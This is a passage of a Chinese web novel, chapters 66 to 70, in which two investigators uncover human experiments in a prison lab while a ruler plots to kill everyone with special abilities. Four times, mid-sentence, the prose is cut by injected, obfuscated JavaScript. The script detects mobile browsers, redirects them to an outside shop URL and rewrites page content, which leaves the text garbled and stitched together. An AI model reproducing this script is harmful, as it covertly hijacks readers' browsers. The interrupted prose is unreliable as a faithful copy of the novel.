还在疑惑为什么这里有人长住的痕迹却只有一个人在房间附近,为什么那些人像匆匆离开没有收拾行李,原来都死在上面了。 这里发生过什么。住宿的地方和最底下娱乐的地方没有,挑所有人都在工作的时候杀人,到底是什么人做的?为什么每个人都在各自的实验室里被杀,这里都是透明玻璃,如果其中一个房间发生了杀人案,其他房间的人不应该早跑了?然而跑到楼下的只有一个。 时咎往前挪了几步,不可置信地环视一周,很快看到了他在地下医院时注意到的那一排人形身影。 一整排放在最边缘,确实是假人,但是是做得惟妙惟肖的假人,其中有几个做工一般甚至有些拙劣,让时咎瞬间陷入恐怖谷效应。因为这些假人并不是盯着地下医院,而是面朝内,盯着内部的。 现在就像是在盯着他们。 不够明亮的灯光让部分假人的脸模糊不清,五官就像一个个空洞的茧,看得时咎头皮发麻。 沉皑低声说:“我去每个实验室里搜一下。” 时咎回过神:“好,还是我左你右。” 这里的房间很多,几乎大部分的实验室里都有白骨与尸体,打翻的柜子,压垮的病床,凌乱撒了一地的纸,都指向这里曾经发生过一次打斗。 沉皑走进最近一个玻璃房,他皱着眉观察房间周围,在档案柜上找到了一个记录本。 ——编号002:未接收到虚假信息。 ——编号009:6月12日第一次接收到虚假信息。 ——编号014:6月25日第一次接收到虚假信息。 ——编号029:9月3日第一次接收到虚假信息。 通道不稳定,有待改进。 …… 看来是某些实验品的记录。 沉皑抿唇一页一页翻着。如果这个地方就是与反起源进化相关的实验的话,笔记里所说的虚假信息,应该就是季水风在电话里提到的,文明中心现今高层虚假通道的初始研究。 果然是这里,季川泽的坐标没有错,但现在唯一的疑点就是,若这是言威想要独裁做出的第一步,怎么会犯把坐标公然放在办公桌上的错误,然后一走好几天。 档案柜还有另一个记录本,沉皑拿起来翻看,但上面只有第一页记录着内容。 ——编号001,1月16日死亡。 ——编号017,2月5日死亡。 ——编号011,3月13日死亡(非实验性死亡) …… 两百年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187358|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前季雨雪利用自己的能力与科学知识发明出使思维透明的仪器并不是随意做到的事,首先是她万里挑一的能力决定她能将物质透明化的可能性,随后才是她天才般的发明。如果后人想在她的基础上进行改善绝非易事,虽然已经提供了模型可以进行研究,但…… 如果那么容易,不会现在还只进行到发觉虚疑病毒对成功率有影响,进而选用检测的办法,而不是改善仪器本身。 说到改善仪器本身,言霏执行的那个起源改造计划…… 这父子俩,明明做着截然相反的事,却又在一起讨论同一件事,好像都默许对方的作为。 沉皑抬起头,看到时咎站在几个玻璃房间以外的大厅里,他同样手里拿着什么东西在看。 沉皑放下笔记本走了过去。 时咎的手在发抖,他在三楼正中央找到了一个类似讯息站的地方,这上面放了一排资料,他一本一本拿起来看,越看脸色越苍白,直到看到最后这本单独放在正中央桌子上的文件。 他原本以为自己猜得八九不离十,他相信沉皑在知道季川泽给出的坐标是这所监狱后,也能猜到大概。 只是这个猜测过于痛心入骨,所以他没说出来,沉皑当时也没有表示,只能互相缄口,等到了这儿或许能知道真相。 沉家老一代人有许多生物科学方面的精英人才,根据几个人分别给出的信息,可以得知这群人在教化所研究病毒剥离,在这之前,言霏还是掌权者的时候,拟定了起源改造进化,但不知道出于何种原因,这群精英人才没去,而是等到若干年、言威上位后才开始运作——因为病毒剥离在言威实行检测后依然存在过一段时间。 后来教化所的研究停止了,教化所逐渐变成了生物坟场,因为那个时候这群精英人才开始了搁浅多年的起源改造进化。 这是言霏提出的起源改造计划,后来他又向言威说明不能告知沉皑反起源进化的事,也就说他们对彼此相反的做为都是心知肚明,并且心向一致的。 关系那么好的父子,一个上一任掌权者,一个现任掌权者,谈论文明两个截然相反的发展方向?不可能,除非—— 起源改造计划实际就是反起源进化。他们讨论的从始至终都是同一件事。 时咎顺着不同的逻辑想了几条可能的线,觉得这个可能性是最大的。 言霏当时提出的从源头上提高成功率的这项起源改造进化,本身就是彻头彻尾的阴谋,他要联合自己的儿子与沉家这群顶尖人才研究虚假通道,为了某个不为人知的野心,甚至欺骗了别的科学家前来充当实验品——联系当时季水风在地下医院找到的笔记本,和在这里的所见所闻。 多大的目的,多隐秘的计划,时咎想象不到。当他在这个讯息站翻了前几本资料的时候,几乎是确定了这个猜测,所以他觉得这是一件刺痛人心的事,是对恩德诺历史的反讽,对沉皑也是一个绝对打击。 但是他翻到最后这本资料,突然发现中间某个细节出了错,推导几乎是对的,但是结局却走向另一个毛骨悚然的境地。 他们搞反了。 67. 第 67 章 “你在看什么?”沉皑问道,从他走过来,脚步声慢慢接近,到他站在时咎面前,时咎都没反应,只是捧着这本资料眉头紧锁,但他的眼睛根本就没看这本资料,而是盯着虚空中某处。 沉皑拍了下他,时咎吓了一激灵,手指用力“啪”一声合上了资料。 “你吓我一跳,走过来没声音?”时咎强装淡定责怪道,但惨白的脸色和声音里细碎的发抖完整出卖了他。 沉皑淡然看他一眼,看他此刻不自然的肢体动作,觉得有些好笑,便背靠在讯息站的工作台上,用眼神示意时咎手里的资料,说:“发现什么了这么惊慌?在资料里看到你自己了?” 要是看到的是他自己倒还好说…… 时咎用舌头舔了下自己干燥的嘴唇,迟迟没说话。 沉皑随手从这一排资料里抽出一本翻看,放下又抽出一本。 这些资料的主人无一例外都是沉姓,里面写满了在哪一天他们参加了哪场研究,取得什么结果。 时咎听到沉皑叹了口气。 说不清是这样的认为更让人窒息,还是真相更让人无法接受。 沉皑耐着性子一本一本把资料翻完了,二十八本,无一例外。最后他放下资料,见时咎还是愣在那里,便弯腰自己去拿他手里那本。 然而时咎不松手,就是拽着。 沉皑叹息说:“你要再这样我真觉得这是你了。” 时咎死死拽着,语气琢磨不定,他说:“我们之前在你家楼下讨论过时光倒流的问题。” “所以呢?”沉皑问。 时咎终于松开手,让那本资料被沉皑拿走,他愣愣地说:“我在想,以目前恩德诺的科技来说,做不到时间旅行,它的物理法则还是被局限在广义相对论里,嗯……我们那儿的一种学说。” 时咎接着说;“但是,如果有某个人,他的能力就是时间旅行相关?” 沉皑淡然说:“时间旅行不是想象中那么容易,一个微小的错误会引发无数祖父悖论和蝴蝶效应,人不可能观察某样东西却完全不改变它。” 时空决定了物质如何运动,物质决定了时空如何弯曲。 沉皑翻开手里的资料,时咎却往前一步急速将手掌拍在那纸张上,盯着他的眼睛继续问:“那世界上会有完全一模一样的东西吗?” 沉皑平静与他对视,看他认真又有些紧张的神情。片刻,还是轻动嘴唇回答了他的问题。 “光。” 无论哪个地方的光,只要颜色相同,便具有相同的属性,以相同的方式与物质相互作用[8]。 时咎把手挪开,耸耸肩说:“也许是我想多了。” 沉皑眼神瞥向手里的资料,随即,他眉心一跳。 沉初光。 …… 抛开这个名字出现在这里不合理本身,当作他也只是沉家后世中一个普通的人名,一个当时的生物科学尖端人才。 他们所做的推导就有了一些变化。 原本沉皑几乎已经接受了他的祖先们做了愧对历史的事,但在看到这个名字的一刹那,无奈地吐出肺里最后一口气,随即迎接他的是更大的无奈。 一直没注意到过,也没能在第一时间联想到这种可能性,因为思维里完全排除了这种可能性。 季水风拿着那本日记本出来时,谁能联想到首页模糊的“刀”“光”两个字是沉初光的名字。 如果那本日记本是沉初光所写,那么此时讯息站他们刚刚所翻看所有资料的主人,角色就被互换了。 沉家不是联合言威他们策划反起源进化的人,而是这个计划里彻头彻尾的受害者。 这也佐证了时咎猜测起源改造计划和反起源进化就是同一件事。 沉皑的母亲说沉家老一代的人曾经很反对言霏的计划,他当时还很奇怪,这个改造计划听上去不是很好吗?恐怕那个时候是由于有人发现了这项计划的真实目的,以至于拖了十多年,后来的言霏拿着的的确确的改造计划再次找上沉家,以那群德心仁厚的人的性格,如果一个人回心转意,他们应该会支持。 但实际言霏从未改变过自己,他找上沉家,想做的只有复仇,报复这个耽误了他十多年的家族。 原本在教化所研究病毒剥离,被言霏以起源改造进化全部骗到这座监狱,那群百年来都以恩德诺文明的未来为己任的人,以为是要做有助于文明发展的研究者,却成了别人的研究、实验对象,成了反起源进化研究过程中的一批小白鼠。 在地下医院见到的审讯室、禁闭室,那些洒满墙面的血,那些拖行几米的血。 那本日记本里,最后连记录都无法清晰描述的话语。 失去科学家的教化所最后成了生物坟场,反起源进化的研究成果成了现在文明中心高层脑子里的虚假通道。 时咎恍然间想起了当时在图书馆时,历史对于沉家的介绍。 百年不入世,只做慈善,他们出现在所有公民们需要帮助的地方。却有人拿他们的血肉…… 时咎听到沉皑的声音在旁边低低响起:“我们现在要找到教化所。” 找到这个地方,找到令人信服的证据。 时咎想了想,不确定道:“我记得你以前跟我说过,言霏是一位受人爱戴的掌权者。” 因为他病发自杀,公民才开始聚集在广场。 沉皑轻轻点头:“嗯,他一直都很受公民喜欢,就是做掌权者时间不长,后来到处游历去了。” 时咎犹豫说道:“那……” 那这都是假的。 其中还有一些细枝末节无法求得答案,恐怕只有当事人知道怎么回事。 “我也不知道为什么,我有记忆的时候已经是言威了,他很早成为掌权者。至于言霏,我不知道为什么这样。”沉皑觉得有点无力,或许对于他一个从小叛逆离家的人来说还好,但这件事暂时不能被其他沉家人知道,得在有十成把握能一举推翻言威的时候,所以现在教化所的存在至关重要,是一个直接证据。 教化所,以前去过又回来的人认为那只是一个研究所,后来,却没有回不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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于是两人一前一后跟着往通风管道里爬。里面空间不大,时咎觉得爬着有些费力,心想沉皑这种一米九的身形估计更困难,他想回头看一眼也没办法转头,只听见沉皑在后面说:“别停下!往前!” 管道长达十多米,时咎钻出来的时候刚好听到“砰”的一声,什么东西被关上了。 他抬头看,看到天花板一扇圆形的门,而这扇门下面就是一道楼梯,过了通风管道后这个狭窄的房间内就只有这个通往天花板的楼梯。 沉皑出来一言不发直接三步并两步过去推开这道门。 刺眼的阳光瞬间就照射进来,一阵久违的风猝然扑在脸上。 十多个小时没见阳光的眼睛在一瞬间有些不适,沉皑微眯起眼,迅速适应。他把门掀到一边,发出巨大的声音,随后他整个人跨上去。 时咎在后面跟上来,一站在陆地上便愣住了。 68. 第 68 章 居然出来了。眼前就是监狱附近的黑水,他们所在的地方在那片与人高的杂草里,这扇门藏得很隐秘。举目四望,除了三面看不到边的杂草,一面是他们来时的公路,什么都没有,那个人影完全消失了,不在公路上,也看不到是在哪片杂草里。 “这能追丢。”时咎抹了一把头上的汗水,喘着气,双手叉腰小声谩骂。 要在这里找人比大海捞针还难,沉皑环视四周,沉声道:“先出去。” 已经是第二天傍晚了,橘色的夕阳刺得人焦躁难安。他们被杂草阻拦着一脚深一脚浅花了很长时间才走到公路上。 再次回望,依旧看不到半个人影,杂草静止没有晃动,完全不知道是从哪里消失的,如果那个人有耐心一直藏在某片杂草中间不动,真的要逮出来也够呛。 因祸得福,还来不及考虑如何出来的问题,倒是直接追到了地面。 沉皑很快平息呼吸,他对时咎说:“先回车上休息吧。” 夕阳直直晒在后背上,西晒总让人觉得热得更加强烈。 方圆几十公里荒无人烟的道路上,两个渺小的人影缓缓朝三栋房子移动。 两个人慢慢走了一段路便能看到车。一上车,时咎就从后座拿了两瓶水直接干了一瓶,另一瓶干了一半,还有一些面包食物,也拿出开始吃。 他一边狼吞虎咽,一边瘫在座位上,嘴里包着东西还在上气不接下气地说话:“我真的累死了,又渴又饿又困又累,死了算了。” 现实中哪有过这么极限的操作,偶尔出去玩极限运动,攀岩、探险,也都是有正规保护渠道的,虽然在这里同样不至于真实丧命,但是有可能在梦里丧命的。比极限运动还极限。 沉皑感觉好笑,正要开口说话,手机就响了。 “叮——” 是季水风,沉皑想起之前她就在打电话,于是快速接起来,但他觉得脸上有汗,不想贴耳便按了外放。 “沉皑!”季水风焦急的声音立刻传出来,“一直打不通,你在哪?” 沉皑说:“之前你们隔离的监狱。” 季水风难得这么着急,也懒得问他们的收获,直接说:“文明中心出事了。” “前天半夜广场上出现了几具尸体,被巡逻的人看到就立刻上报了。” “调查出来死掉的那几个人都是有能力的人。” “昨晚又接到两起报警,凶案,安全管理中心的人过去调查情况,发现那两个死者也是有能力的人。” 季水风顿了一下以强调最后这一句话:“有人在无差别屠杀能力者!” 话一出,时咎连面包都忘记啃了,目光不可置信地就盯着沉皑拿在手里的手机。 几乎第一时间,他想到了舟之覆,那次说要集中去教化所的时候,就是他在楼上睥睨这一切,舟之覆这目标导向者,不可能为了杀人而杀人,一定是和某个人,比如言威达成了某种协议。 他真的想除掉所有能力者,还不亲自动手…… 沉皑一只手捏紧方向盘,半晌,他低声道:“你们现在在哪里?” 季水风回答:“回安全管理中心了,言威让我联系你也回来,我和季山月分头在监察,现在除了我俩,任何能力者都可能有危险。” 沉皑低声道:“嗯,明天到,你们自己注意安全。” “好,我把资料发你手机,你路上有空看。”说完季水风就挂了电话。 言威反而让他们回去?时咎皱眉,他立刻把身体坐直,面包也被他吞咽下去,他侧过身正对着沉皑,问:“你确认除了你我,没任何别人知道你有能力的事?” 沉皑神色淡然:“嗯。” 但忽然想到什么,接了句道:“但是你得小心,虽然你这个不算是能力,但除了我和季水风,别人都会认为你是能力者。” 何况你当时还那么嚣张,掀了一层图书馆,新闻连着报道好几天。后面这句沉皑没说出来。 “我知道。”时咎把没吃完的食物扔回了后座。无论是不是被认为成能力者,对他的威胁不大,他有天然的不死buff。 然而沉皑跟看穿了他在想什么一样,眼神聚焦在时咎脸上,一字一句认真说:“不要掉以轻心,你被关过二十天。” “知道。”时咎烦躁回答。即使或多或少有些优势在,但优势并不全然照顾他,否则当时不会被抓了、受了伤还没醒过来,没醒之前的一切痛楚都如同真实发生在他身上。 “何况……”沉皑的眼神微微暗下去,他看了眼时咎的脖环,将声音放低说,“你还有弱点。” 说完他发动汽车,开始回程。 时咎伸手捏住一直戴在脖子上的东西,半晌没说话。 虽然已经得知可以随时取下来,但他不想取了。 只要沉皑敢说,他就敢认。 算了,不想这个了。 时咎开始想刚刚季水风说这件事的不合理之处,他觉得这件事问题太大了,已经不仅仅是怀疑言威包藏祸心,他的算盘已经打到明面上来了,但这算盘的声音细听又有些许奇怪,他有时候甚至会觉得,他们看到的言威都是不同的人。 汽车疾驰,时咎趴在窗边,无意往上看了一眼天,愣了片刻闭上眼,再次睁开。 天上有些流动的黄沙,好像是很远处的沙尘暴飘移过来的迹象,一缕一缕的,在上空盘旋,像半透明的,看得不真切。 这远离城市的郊区,不知道哪个地方有小型沙漠? 时咎彻底自暴自弃了,他想换个话题,指了指身后逐渐远去的监狱,问道:“刚刚我们追丢的那个人怎么办?” 沉皑从后视镜淡淡瞥了一眼,平静说:“我们刚刚追的那个人,是个小孩。” “小孩?!”时咎眼皮一跳,身体瞬间坐直,他立刻回头企图去看那片渐行渐远的野草堆,但也只能看到野草堆,依然是不见人影。 沉皑点头道:“嗯,听奔跑的声音。小孩和成年人体重差很多,发出的声音频段不一样,重心也比较靠前,而且我们最后爬那段通风管道,成年人要通过很困难,空间太小,但他爬过去的声音非常快,在里面游刃有余,所以体型必然不大。” 时咎努力回想一下当时,他太着急追出去,反而忽略了,但是现在一想,他又能马上发现不对——他当时那么着急,甚至要自己冲前面,就是因为那个快速爬过去的声音给他施加了无形的心理暗示,觉得对方马上就要跑了。 时咎拧眉道:“为什么会有小孩?”一个对那艘轮船的地形非常熟悉的小孩。 沉皑说:“不知道,而且那个小孩恐怕是故意引我们出来的。” 时咎的手一把拍在自己脸上,露出不理解的神情,这又是怎么回事? 沉皑继续道:“他很熟那里面,如果单纯为了躲我们,很容易甩掉。” 时咎一想,发觉也是,他都记不清他们在五楼是怎么拐来拐去的了,对方身形矮小,按理说更灵活,最重要的是,他们从来没跟丢过,每次到转角到岔路,总能看到一个一闪而逝的影子,就像提醒一样,最明显就是那个通风管道,如果说前面的追逐因为步距确实拉不开距离,在通风管道里就是绝佳的机会,他完全可以飞速爬走,逃到地面遁入无形——虽然最后结果仍然是这样,但问题就在于,时咎在从通风管道爬出来后,头顶那扇门才被猛地关上,拉开那么长的距离,不可能还在刚关门这一步的。 沉皑大致估算了一下:“不到十岁。” 时咎将头靠在靠垫上,闭上眼,觉得头疼。 线索无双至,谜团不单行。 但现在文明中心出事,只能暂时放下这里的事。没休息一会儿,沉皑的手机接收到季水风的信息。 时咎拿着沉皑的手机查看。 季水风发来的信息有很多条。两天前的凌晨,文明中心发生杀人案,被发现抛尸在广场上,这些能力者不弱,但还是惨死。 城区的监控看到了一个黑色衣角,文明中心的监控什么都没拍到,抛尸的路线全是监控死角。 前几天因为能力者在广场上暴乱,他们曾经关押过几个闹事特别厉害的能力者,但这几个能力者越狱了——有人从外面开了锁,但不确定那个神秘人是不是其一,因为第一天死在广场上的人里也有一个越狱的人。 原本季水风独自在家,季山月去了老宅找夏癸,这件事一出来言威就联系他们回文明中心分别巡查。 言威非常震惊。 文明中心里的能力者现在人人自危。 时咎把信息大概整理了一下说给沉皑,末了还奇怪道:“他震惊什么?不是他要把能力者全部干掉吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187360|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连季水风季山月都不放过,这又要把你们叫回去查?” 时咎一直不太明白言威这个人,如果说一个宅心仁厚的人,在掌权者这个位置上经过漫长的岁月,变得残暴无情、变得想独裁想集权、机关算尽,还能解释得通,但言威这个人太奇怪了,他的性格摇摆不定,自私、自负、胆小、狂妄,偶尔又展示完全不同的威严、肃然,如果是他的实力让他衍生出这样的性格,他到底得多强? 思考间,沉皑的手机又响了。 季水风又发来了一条信息。 时咎看了一遍,“哼”了一声,转述给沉皑:“又死了一个。” 沉皑没回答,只是点点头,他的目光集中在前方无人的路上。 今天的夕阳光退散得比往常都快,明明太阳还没有完全淹没在地平线,阳光却逐渐显现出土黄色阴霾。 树群涌动,哗然穿过空气传到车里。 时咎摇下车窗,感受到席卷而来的清香,草木携带泥土的味道。他看到两旁熟悉的泥泞,泥泞深处是巨大绿海的根。 一滴雨如期而至,坠在时咎脸上。 “啪”一声,清脆的碎裂。 “啊,下雨了。”他小声说,声音瞬间被吞没在汽车碾过道路、疾驰的风声里。 黄沙伴随小雨。 文明安全中心。 季水风死盯着最新收到的监控画面,是最后一个能力者死亡当下的画面。 他一个人急匆匆走着,企图回到后排的楼里,也许这两天已经遇害好几个能力者,所以不得不出来也是胆战心惊地提前回去。 屏幕里的人从上往下如履薄冰般行走,然而就当他快要走出监控区域,下半身已经出去了,他忽然浑身一抖,像被吓到,接着猛然回头,看向了他刚刚才走过的路,动作停顿了三秒,又缓慢回头似乎准备加快步伐回去,然而在他重新跨步、彻底将从监控里消失的瞬间,他倒下了。 尸体就是在监控最下方刚好拍不到的地方。 季水风一遍遍回放这个画面。这个人是从前面被杀的,但是没拍到那个人,只拍到这位能力者惊恐地看向后方。 “文明中心是不是要多加监控了?”负责调整视频的人说,他小声嘟囔。因为这里太安全了,不管是公民还是文明中心,对人都太信任了,所以只会在大区域放一些监控,本身就没有全覆盖。这样的事,在两百年间没有出现过。 “是吧。”季水风回答说。 她再次仔细观察了能力者浑身一抖到回头看后面的那一幕,来来回回看了很多遍,又放大去看每一个细节,在某一帧时忽然要求按下暂停。 季水风躬下身子用双手撑着监控台,死死盯着能力者在颤抖那零点几秒他的身体反应。 “把他肩膀放大。”季水风指着那个地方。 画面调大最大,也将能力者肩膀的轮廓展现出来。 他穿着宽松的衬衣,但衬衣本身还有一定的塑型硬度,但在那零点几秒里,在没有任何人、死去的能力者也只是正常摆手走路的情况下,他肩膀处的衬衣不自然地凹陷下去了,凹出了一个整齐的、大约四公分的宽度。 有人拍了他的肩膀。 不仅如此,在拍他肩膀的刹那,那里的衣服变黑了。 季水风深呼吸一口气,慢慢又站直身体。她的嘴角扯出一道向上的弧线,好像忽然想通了很多事。 这样一来,当时病株失窃也有了新解释。 她以前还想过世界上是否存在这样的能力,没想到还真有。她轻声笑了下—— 原来会隐形啊。 “季小姐。” 正在这时,身后传来声音,季水风转头,见是一位安保。他走进来,双手向呈上一张折叠过的纸:“这是您的。” 季水风疑惑看着这张纸,犹豫一下拿过来,她问:“这是什么?” 安保摇头,说:“刚刚楼下遇到的一个人,有点怪,就让我把这个给您,说您看了就知道了。” 季水风点头,柔和说:“好,谢谢。” 一张折叠的纸,没有任何奇怪的地方,手感上摸起来就是普通植物纤维做的毛毡纸。季水风随意将它打开瞥了一眼。 她的动作全然顿住,呼吸一窒。 纸上写着: ——杀死不纯之人3 69. 第 69 章 掌权者办公室。 舟之覆慵懒地半靠在小沙发上,百无聊赖玩着客人的茶杯,表情平静得好像外面世界任何风吹草动都与他无关,片刻,他抬头,看向办公室另一边正襟危坐的人,懒懒地说:“也是难得你妥协啊。” 坐着的正是言威,他脸上严肃轻蔑的表情丝毫不加掩饰,他凛声道:“掌权者本来就不是同时只能存在一位,但没有我的推荐,你也上不来。” “那我倒是知道。”舟之覆轻飘飘地说,脸上闪过一丝哂笑,“掌权者嘛,你的一言堂。” 他不知道单赫是如何当上的,目前他知道季川泽的死跟言威脱不了关系,不过什么单赫,好像各方面能力也不强,只知道他的能力是防御性,也没太多实质用途,不知道他是怎么说服言威的,莫不是还有什么杀招? 算了,跟他又有什么关系。只要那本掌权者名单里有他的名字,无所谓实权还是装饰,心满意足。 言威并不否认舟之覆的话,他语气冷峻地说:“做完这事,我会安排你和我女儿一起成为掌权者。” 言下之意就是他和单赫都要退下来。 他还会这么好心?舟之覆慵懒地抬起眼皮,终于舍得稍稍坐直,放下手里的茶杯,再次确认道:“真要把能力者全部屠杀了?颠覆历史,逆天而行啊……”他一边说一边笑,对于他这种还有点良知但不多的人来说,虽然觉得言威的做法有点残忍,不过能得到自己想要的东西,牺牲在所难免的,留给后世评价吧。 何况…… 言威一拍桌子,严肃道:“哪本历史?哪片天?历史是胜利者的历史,天是我定的天!” “好好好。”舟之覆连忙说,他并不想在这方面跟言威起争执。 舟之覆勾起嘴角笑。若他们才是改变历史的那个人,那么在未来的历史中,他们就是正道,什么意识交流、思维透明,会有无数的批判。想证明一件事是对是错,看角度和立场。 历史真假本身与事实没有必然联系,它是在某种特定情况下,由某个特定的人专为特定的人群而写。胜者不仅篡改历史,也缔造神话[9]。 言威现在觉得,虽然虚疑病的爆发并不在他预料之内,但也算是机缘巧合,或许天意如此。虚疑病让能力者只能被隔离在文明中心内,刚好方便他一个一个全部抹除,方便他对当今的恩德诺大洗牌,彻底改变世界格局。 下一步,就是反起源进化仪器的全面铺陈,以后的起源实验室,就是那个罪恶的输出地。 罪恶本身没什么不好,只是一个和“善良”形成了对比的形容词,当善良不存在,便只有罪恶与更罪恶,总之,历史都会选择其一。 “但是我有一个问题。”舟之覆难得坐正稍显严肃,因为想到这个他还是觉得心里发慌,不太确定地问道,“亡灵大军和那小鬼配合,人头收割机,其他人我不担心,但季水风他们几个……嘶,最主要是,季山月完美克制所有人啊!” 时咎那小子的能力还没摸到底得防一手,沉皑则是最好对付的,不过对于无能力者,他们也不需要对付,如果他一定要插手,耗死就够了,季水风不死,即使被他俩耗到身受重伤,也没办法致命一击,季山月更无解,如果他想,能让自己和那小鬼变成普通人,直接终结他们。 言威的鼻孔里哼出来厚重的鼻息,全是他的不屑与高傲,他的面部肌肉兴奋抬起,随后爆发出一阵狂热的笑声,近似疯癫的愉悦。笑够了,他开始拍手,像在对自己鼓掌。 舟之覆听到他用轻声的语调说:“你放心,有人完美克制他。” “砰砰。”很巧,就在这时传来两声干脆的敲门声,然而外面的人并没有打算得到同意再进来,而是直接拧开了办公室的门。 一个人径直走进来,他的步伐沉稳坚定,厚重的脚步声听得人胆战心惊,随即停在门边。 言威朝他点头说:“正说到你。” 舟之覆的目光轻佻地看过去,想看看哪位神人有能力克制季山月,却在看到来人的时候脸色骤变。 舟之覆的嘴不自觉微张,身体竟也缓慢站了起来,他感觉心跳得快要凸出来,血起上涌,无法言语,只能直勾勾盯着此时站在眼前的人,脸上错愕与恐惧一同释放。 舟之覆声音轻颤着说:“你……” 那人站在门边,眼神尖锐地、挑衅地瞥了眼舟之覆。 狂风骤雨,无所畏惧。 天上的黄沙缓缓聚集又散去,丝丝入微。 言威苍老的声音哼笑一声,对他说:“看你干的好事。” 对方完全不在乎言威的情绪,用更烦躁更挑衅的语气说:“我做的好事很多,哪一件?” 言威:“你说呢?” 对方沉思片刻,装作恍然大悟:“你说偷毒株?” 说完他大笑起来,他的声音很厚实,笑起来空气都在震颤,笑够了,他拍拍大腿前侧,无奈道:“本来我只是想让那个偷别人身份的人也尝尝虚疑病,我哪知道传多了,你就说,有没有帮到你?” 言威瞥他一眼,没说话。 旁边的舟之覆眼神在两个人之间来回走,越听,越是一身冷汗。这对话是他能知道的?该不会被杀人灭口吧。想着,他的目光再次落到进来这人身上,一滴汗着实掉了下来。 紧接着,另一个身影也从门外窜进来,相对于第一个人,他则步伐杂乱很多,走路走得像喝醉了一般毫无章法,但他的模样更令人不安——他的脸被红白颜料各涂了一半,左边红色,右边白色,嘴周围的蓝色抹出一个笑容。 他只有舟之覆胸口高,走进来后,朝办公室里两个人勾勾手指,如同指甲划过玻璃般的声音说:“走啊,下一个。” 舟之覆的愣神不过片刻,看见后进来的人,嘲讽地笑出来,他叹气,自言自语般说:“哎呀真是青出于蓝而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187361|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胜于蓝,现在的小鬼也会命令人喽!”说着,站起来自顾自地跨着散漫的步伐走了出去。 言威首肯,另外两个人便一起跟着出去了。 门被砸上后的办公室,言威露出晦暗不明的笑容,但很快这个笑容变成了强颜欢笑,他企图维持住好事将近的兴奋感,却又无法抑制地想压下嘴角,这种挣扎让他脸部的肌肉抽搐起来。 这样的情况没持续多久,言威一口血吐在地上,他颤颤巍巍好几步才抓住椅子坐下,疯狂喘气,喘得像溺水后的窒息。接着他艰难站起来,眼睛瞪得充满红血丝,使出浑身解数在右手凝聚了光,用尽全力,也只能狠狠朝自己的左胳膊拍下。 骨头碎裂的声音。 一步,再一步,如同老了二十岁,他佝偻着背,蹒跚着脚步缓慢离开办公室。 文明中心没有独行的人了,他们全部躲在自认为安全的地方或者结伴出行,但即便如此,依然没能挽救他们的性命。 一部分人死的时候都不知道杀自己的是谁,另一部分则是在震惊里死去。 “其实我对杀人没兴趣。”舟之覆觉得无聊,拍拍自己的手,尽管不是他亲自上场,不过亡灵大军的功劳就是他的功劳。 他是无所谓做不做历史的罪人的,那天能力者在广场上的集结,让他很好辨认出了文明中心到底还剩多少能力者,该杀杀,该埋埋,至于普通人,他没兴趣,不过妨碍到他了,那就没办法了。 他旁边的人手里拿了把水果短刀,从面前倒下去的人胸膛里抽出,上面的血顺着刀刃一滴一滴往下渗,他随意找了片草丛将血抹在绿植上,站起来随心舞着挽了个完美的刀花,又迅速收回去,脸上蓝色的颜料显得他永远在笑。 总感觉这小孩声音不太好听,舟之覆不是很想跟他说话,却不得不被迫听他说。 “那个人不跟我们一起?”那小孩问。 舟之覆耸肩,并不在意:“他强得很,你别想了,单手都能把我俩解决了,管他呢。” “那我们什么时候去杀我想杀的那个?要不是为了正大光明杀人,我才不想跟你合作。”那个人继续说,说得很急,非常迫不及待,甚至提起都让他觉得兴奋,但想了想又觉得差点什么,接道,“只能杀有能力的?还有一个没能力的行吗?” 舟之覆斜他一眼,阴阳怪气道:“哎呀真的厉害呀,小小年纪杀心这么重,要杀谁啊?” 对方挠了挠头,说:“叫何为。”他觉得自己很好心地把何为向舟之覆介绍一遍。 舟之覆嗤笑:“别说那么多,我又不认识,反正没能力的我是懒得动手喔,有能力的,你想杀谁啊?” 那个人比舟之覆矮太多,所以看他总是得仰着头,尽管如此,也矮化不掉他眼里的疯狂。 他的笑容几乎扯到耳根,他说:“时咎。” 舟之覆眼皮一跳:“哦?” 这个认识。 70. 第 70 章 一片红色荒漠里,一个身影蹒跚走着,很久之后,他终于不受力般倒坐在地上,他的额角流下一滴汗。 